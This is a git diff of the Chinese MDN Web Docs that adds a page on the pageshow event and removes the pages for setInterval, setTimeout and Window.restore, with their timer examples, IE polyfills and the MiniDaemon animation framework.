在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/window/pageshow_event/index.html b/files/zh-cn/web/api/window/pageshow_event/index.html new file mode 100644 index 0000000000..d0aec41716 --- /dev/null +++ b/files/zh-cn/web/api/window/pageshow_event/index.html @@ -0,0 +1,143 @@ +--- +title: pageshow +slug: Web/Events/pageshow +translation_of: Web/API/Window/pageshow_event +--- +

当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

+ +

基本信息

+ +
+
规范
+
HTML5
+
接口
+
PageTransitionEvent
+
事件冒泡
+
No
+
事件取消
+
No
+
事件源
+
Document (dispatched on Window)
+
默认操作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
persisted {{readonlyInline}}{{jsxref("boolean")}}表示网页是否是来自缓存.
+ +

示例

+ +

以下示例将会在控制台打印由前进/后退按钮以及load事件触发后引起的pageshow事件:

+ +
window.addEventListener('pageshow', function(event) {
+    console.log('after , pageshow :',event);
+});
+
+
+window.addEventListener('load', function() {
+    console.log('before');
+});
+
+ + + + + +

不规范的写法,你同样可以将这个事件当做一个属性添加到body标签,类似于onload

+ +
<body onload="myonload()" onpageshow="mypageshowcode()">
+ +

浏览器兼容性

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("4")}}{{CompatGeckoDesktop("1.8")}}11155
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.3{{CompatUnknown()}}11355.1
+ + +
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/restore/index.html b/files/zh-cn/web/api/window/restore/index.html deleted file mode 100644 index 140827ddb9..0000000000 --- a/files/zh-cn/web/api/window/restore/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Window.restore() -slug: Web/API/Window/restore -translation_of: Web/API/Window/moveTo -translation_of_original: Web/API/Window/restore ---- -

{{APIRef}}

- -

这个方法现在已经失效,不过可以使用下面的方法代替:

- -

{{domxref("window.moveTo")}}({{domxref("window.screenX")}}, {{domxref("window.screenY")}});

- -

Browser Compatibility

- - - -

{{Compat("api.Window.restore")}}

diff --git a/files/zh-cn/web/api/window/setinterval/index.html b/files/zh-cn/web/api/window/setinterval/index.html deleted file mode 100644 index 385a19b81b..0000000000 --- a/files/zh-cn/web/api/window/setinterval/index.html +++ /dev/null @@ -1,635 +0,0 @@ ---- -title: window.setInterval -slug: Web/API/Window/setInterval -tags: - - API - - DOM - - 定时 - - 方法 - - 时间 -translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval ---- -
{{ ApiRef("HTML DOM") }}
- -

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

- -

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

- -

语法

- -
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
-var intervalID = scope.setInterval(code, delay);
-
- -

参数

- -
-
func
-
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
-
code
-
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
-
delay
-
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
-
arg1, ..., argN {{optional_inline}}
-
当定时器过期的时候,将被传递给func指定函数的附加参数。
-
- -

返回值

- -

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

- -

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

- -
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
- -

示例

- -

例1:基本用法

- -

下面例子是 setInterval()的基本语法

- -
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
-
-function myCallback(a, b)
-{
- // Your code here
- // Parameters are purely optional.
- console.log(a);
- console.log(b);
-}
-
- -

例2:两种颜色的切换

- -

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="UTF-8" />
-  <title>setInterval/clearInterval example</title>
-
-  <script>
-    var nIntervId;
-
-    function changeColor() {
-      nIntervId = setInterval(flashText, 1000);
-    }
-
-    function flashText() {
-      var oElem = document.getElementById('my_box');
-      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
-      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
-    }
-
-    function stopTextColor() {
-      clearInterval(nIntervId);
-    }
-  </script>
-</head>
-
-<body onload="changeColor();">
-  <div id="my_box">
-    <p>Hello World</p>
-  </div>
-
-  <button onclick="stopTextColor();">Stop</button>
-</body>
-</html>
-
- -

例3:打字机效果

- -

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

- -
-
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>JavaScript Typewriter - MDN Example</title>
-<script>
-function Typewriter (sSelector, nRate) {
-
-  function clean () {
-    clearInterval(nIntervId);
-    bTyping = false;
-    bStart = true;
-    oCurrent = null;
-    aSheets.length = nIdx = 0;
-  }
-
-  function scroll (oSheet, nPos, bEraseAndStop) {
-    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
-
-    var oRel, bExit = false;
-
-    if (aMap.length === nPos) { aMap.push(0); }
-
-    while (aMap[nPos] < oSheet.parts.length) {
-      oRel = oSheet.parts[aMap[nPos]];
-
-      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
-
-      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
-        bExit = true;
-        oCurrent = oRel.ref;
-        sPart = oCurrent.nodeValue;
-        oCurrent.nodeValue = "";
-      }
-
-      oSheet.ref.appendChild(oRel.ref);
-      if (bExit) { return false; }
-    }
-
-    aMap.length--;
-    return true;
-  }
-
-  function typewrite () {
-    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
-
-    oCurrent.nodeValue += sPart.charAt(0);
-    sPart = sPart.slice(1);
-  }
-
-  function Sheet (oNode) {
-    this.ref = oNode;
-    if (!oNode.hasChildNodes()) { return; }
-    this.parts = Array.prototype.slice.call(oNode.childNodes);
-
-    for (var nChild = 0; nChild < this.parts.length; nChild++) {
-      oNode.removeChild(this.parts[nChild]);
-      this.parts[nChild] = new Sheet(this.parts[nChild]);
-    }
-  }
-
-  var
-    nIntervId, oCurrent = null, bTyping = false, bStart = true,
-    nIdx = 0, sPart = "", aSheets = [], aMap = [];
-
-  this.rate = nRate || 100;
-
-  this.play = function () {
-    if (bTyping) { return; }
-    if (bStart) {
-      var aItems = document.querySelectorAll(sSelector);
-
-      if (aItems.length === 0) { return; }
-      for (var nItem = 0; nItem < aItems.length; nItem++) {
-        aSheets.push(new Sheet(aItems[nItem]));
-        /* Uncomment the following line if you have previously hidden your elements via CSS: */
-        // aItems[nItem].style.visibility = "visible";
-      }
-
-      bStart = false;
-    }
-
-    nIntervId = setInterval(typewrite, this.rate);
-    bTyping = true;
-  };
-
-  this.pause = function () {
-    clearInterval(nIntervId);
-    bTyping = false;
-  };
-
-  this.terminate = function () {
-    oCurrent.nodeValue += sPart;
-    sPart = "";
-    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
-    clean();
-  };
-}
-
-/* usage: */
-var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
-
-/* default frame rate is 100: */
-var oTWExample2 = new Typewriter("#controls");
-
-/* you can also change the frame rate value modifying the "rate" property; for example: */
-// oTWExample2.rate = 150;
-
-onload = function () {
-  oTWExample1.play();
-  oTWExample2.play();
-};
-</script>
-<style type="text/css">
-span.intLink, a, a:visited {
-  cursor: pointer;
-  color: #000000;
-  text-decoration: underline;
-}
-
-#info {
-  width: 180px;
-  height: 150px;
-  float: right;
-  background-color: #eeeeff;
-  padding: 4px;
-  overflow: auto;
-  font-size: 12px;
-  margin: 4px;
-  border-radius: 5px;
-  /* visibility: hidden; */
-}
-</style>
-</head>
-
-<body>
-
-<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
-<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
-<div id="info">
-Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
-</div>
-<h1>JavaScript Typewriter</h1>
-
-<div id="article">
-<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
-<form>
-<p>Phasellus ac nisl lorem: <input type="text" /><br />
-<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
-<input type="submit" value="Send" />
-</form>
-<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
-<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
-</div>
-</body>
-</html>
-
- -

查看示例效果,亦可参考:clearInterval()

- -

回调参数

- -

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

- -
/*\
-|*|
-|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
-|*|  callback functions of javascript timers (HTML5 standard syntax).
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|
-|*|  Syntax:
-|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
-|*|  var timeoutID = window.setTimeout(code, delay);
-|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
-|*|  var intervalID = window.setInterval(code, delay);
-|*|
-\*/
-
-if (document.all && !window.setTimeout.isPolyfill) {
-  var __nativeST__ = window.setTimeout;
-  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-    var aArgs = Array.prototype.slice.call(arguments, 2);
-    return __nativeST__(vCallback instanceof Function ? function () {
-      vCallback.apply(null, aArgs);
-    } : vCallback, nDelay);
-  };
-  window.setTimeout.isPolyfill = true;
-}
-
-if (document.all && !window.setInterval.isPolyfill) {
-  var __nativeSI__ = window.setInterval;
-  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-    var aArgs = Array.prototype.slice.call(arguments, 2);
-    return __nativeSI__(vCallback instanceof Function ? function () {
-      vCallback.apply(null, aArgs);
-    } : vCallback, nDelay);
-  };
-  window.setInterval.isPolyfill = true;
-}
-
- -

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

- -
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
- -

还有一种方式是使用 function's bind. 例如:

- -
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
- -

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

- -

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

- -

"this" 的问题

- -

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

- -

解释

- -

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

- -
myArray = ['zero', 'one', 'two'];
-
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-myArray.myMethod(); // prints "zero,one,two"
-myArray.myMethod(1); // prints "one"
-setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
-setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
-// passing the 'this' object with .call won't work
-// because this will change the value of this inside setTimeout itself
-// while we want to change the value of this inside myArray.myMethod
-// in fact, it will be an error because setTimeout code expects this to be the window object:
-setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
-
- -

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

- -

一个可能的解决方案

- -

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

- -
// Enable the passage of the 'this' object through the JavaScript timers
-
-var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
-
-window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeST__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
-
-window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeSI__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
- -
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
- -

New feature test:

- -
myArray = ['zero', 'one', 'two'];
-
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
-setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
-
- -

Another, more complex, solution for the this problem is the following framework.

- -
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
- -

MiniDaemon:一个用于管理定时器的小框架

- -

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

- -
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
- -

minidaemon.js

- -
-
/*\
-|*|
-|*|  :: MiniDaemon ::
-|*|
-|*|  Revision #2 - September 26, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/minidaemon.js
-|*|
-|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/lgpl-3.0.html
-|*|
-\*/
-
-function MiniDaemon (oOwner, fTask, nRate, nLen) {
-  if (!(this && this instanceof MiniDaemon)) { return; }
-  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
-  if (oOwner) { this.owner = oOwner; }
-  this.task = fTask;
-  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
-  if (nLen > 0) { this.length = Math.floor(nLen); }
-}
-
-MiniDaemon.prototype.owner = null;
-MiniDaemon.prototype.task = null;
-MiniDaemon.prototype.rate = 100;
-MiniDaemon.prototype.length = Infinity;
-
-  /* These properties should be read-only */
-
-MiniDaemon.prototype.SESSION = -1;
-MiniDaemon.prototype.INDEX = 0;
-MiniDaemon.prototype.PAUSED = true;
-MiniDaemon.prototype.BACKW = true;
-
-  /* Global methods */
-
-MiniDaemon.forceCall = function (oDmn) {
-  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
-  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
-  return true;
-};
-
-  /* Instances methods */
-
-MiniDaemon.prototype.isAtEnd = function () {
-  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
-};
-
-MiniDaemon.prototype.synchronize = function () {
-  if (this.PAUSED) { return; }
-  clearInterval(this.SESSION);
-  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
-};
-
-MiniDaemon.prototype.pause = function () {
-  clearInterval(this.SESSION);
-  this.PAUSED = true;
-};
-
-MiniDaemon.prototype.start = function (bReverse) {
-  var bBackw = Boolean(bReverse);
-  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
-  this.BACKW = bBackw;
-  this.PAUSED = false;
-  this.synchronize();
-};
-
-
- -
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
- -

语法

- -

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

- -

说明

- -

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

- -

参数

- -
-
thisObject
-
The this object on which the callback function is called. It can be an object or null.
-
callback
-
The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
-
rate (optional)
-
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
-
length (optional)
-
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
-
- -

MiniDaemon 实例(instance)的属性

- -
-
myDaemon.owner
-
The this object on which is executed the daemon (read/write). It can be an object or null.
-
myDaemon.task
-
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
-
myDaemon.rate
-
The time lapse (in number of milliseconds) between each invocation (read/write).
-
myDaemon.length
-
The total number of invocations. It can be a positive integer or Infinity (read/write).
-
- -

MiniDaemon 实例的方法

- -
-
myDaemon.isAtEnd()
-
Returns a boolean expressing whether the daemon is at the start/end position or not.
-
myDaemon.synchronize()
-
Synchronize the timer of a started daemon with the time of its invocation.
-
myDaemon.pause()
-
Pauses the daemon.
-
myDaemon.start([reverse])
-
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
-
- -

MiniDaemon 全局对象的方法

- -
-
MiniDaemon.forceCall(minidaemon)
-
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
-
- -

使用示例

- -

HTML:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="UTF-8" />
-  <title>MiniDaemin Example - MDN</title>
-  <script type="text/javascript" src="minidaemon.js"></script>
-  <style type="text/css">
-    #sample_div {
-      visibility: hidden;
-    }
-  </style>
-</head>
-
-<body>
-  <p>
-    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
-    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
-    <input type="button" onclick="fadeInOut.pause();" value="pause" />
-  </p>
-
-  <div id="sample_div">Some text here</div>
-
-  <script type="text/javascript">
-    function opacity (nIndex, nLength, bBackwards) {
-      this.style.opacity = nIndex / nLength;
-      if (bBackwards ? nIndex === 0 : nIndex === 1) {
-        this.style.visibility = bBackwards ? 'hidden' : 'visible';
-      }
-    }
-
-    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
-  </script>
-</body>
-</html>
- -

View this example in action

- -

备注

- -

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

- -

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

- -

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

- -

Ensure that execution duration is shorter than interval frequency

- -

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

- -

In these cases, a recursive setTimeout() pattern is preferred:

- -
(function loop(){
-   setTimeout(function() {
-      // Your logic here
-
-      loop();
-  }, delay);
-})();
-
- -

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

- -

Throttling of intervals

- -

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
- -

浏览器兼容性

- -
- - -

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

-
- -

参见

- -
    -
  • JavaScript 定时器
  • -
  • {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}
  • -
  • {{domxref("WindowOrWorkerGlobalScope.clearTimeout")}}
  • -
  • {{domxref("WindowOrWorkerGlobalScope.clearInterval")}}
  • -
  • {{domxref("window.requestAnimationFrame")}}
  • -
  • Daemons management
  • -
diff --git a/files/zh-cn/web/api/window/settimeout/index.html b/files/zh-cn/web/api/window/settimeout/index.html deleted file mode 100644 index f9813851f7..0000000000 --- a/files/zh-cn/web/api/window/settimeout/index.html +++ /dev/null @@ -1,476 +0,0 @@ ---- -title: window.setTimeout -slug: Web/API/Window/setTimeout -tags: - - Timers - - WindowOrWorkerGlobalScope - - WindowTimers - - setTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout ---- -

{{APIRef("HTML DOM")}}

- -

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

- -

语法

- -
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
-var timeoutID = scope.setTimeout(function[, delay]);
-var timeoutID = scope.setTimeout(code[, delay]);
- -

参数

- -
-
function
-
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
-
code
-
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
-
delay {{optional_inline}}
-
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
-
arg1, ..., argN {{optional_inline}}
-
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
-
- -
-

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

-
- -

返回值

- -

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

- -

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

- -

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

- -

例子

- -

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

- -

HTML

- -
<p>Live Example</p>
-<button onclick="delayedAlert();">Show an alert box after two seconds</button>
-<p></p>
-<button onclick="clearAlert();">Cancel alert before it happens</button>
-
- -
- -
- -
- -
- -

JavaScript

- -
var timeoutID;
-
-function delayedAlert() {
-  timeoutID = window.setTimeout(slowAlert, 2000);
-}
-
-function slowAlert() {
-  alert('That was really slow!');
-}
-
-function clearAlert() {
-  window.clearTimeout(timeoutID);
-}
-
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

结果展示

- -

{{EmbedLiveSample('例子')}}

- -

